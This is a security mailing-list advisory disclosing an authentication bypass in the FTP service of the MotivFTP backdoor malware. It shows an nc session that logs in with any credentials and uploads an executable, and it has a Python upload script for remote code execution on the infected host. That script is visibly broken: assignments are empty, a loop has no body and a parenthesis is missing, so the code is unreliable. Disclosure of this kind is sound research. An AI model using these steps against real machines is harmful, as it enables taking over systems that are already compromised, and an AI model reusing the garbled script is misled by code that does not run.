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Date: Fri, 7 May 2021 20:49:42 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21. Third-party attackers who
can reach the system can logon using any username/password combination.
Attackers may then upload executables using ftp PASV, STOR commands, this
can result in remote code execution.
Type: PE32
MD5: 88785a093b8fa00893214dd220ac255d
Vuln ID: MVID-2021-0203
Disclosure: 05/07/2021

1) logon as any user

nc64.exe 21
220 FTP Server ready
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,88,127,195,34).
150 Opening data connection for DOOM.exe.
226 File received ok

2) calculate port and run upload script

from socket import *

DOOM="DOOM.exe"   #Calculate the port 195*256+34 = 49954

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE =

    while EXE:


    print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")
    print("MD5: 88785a093b8fa00893214dd220ac255d"
    print("By Malvuln");

if __name__=="__main__":

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contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
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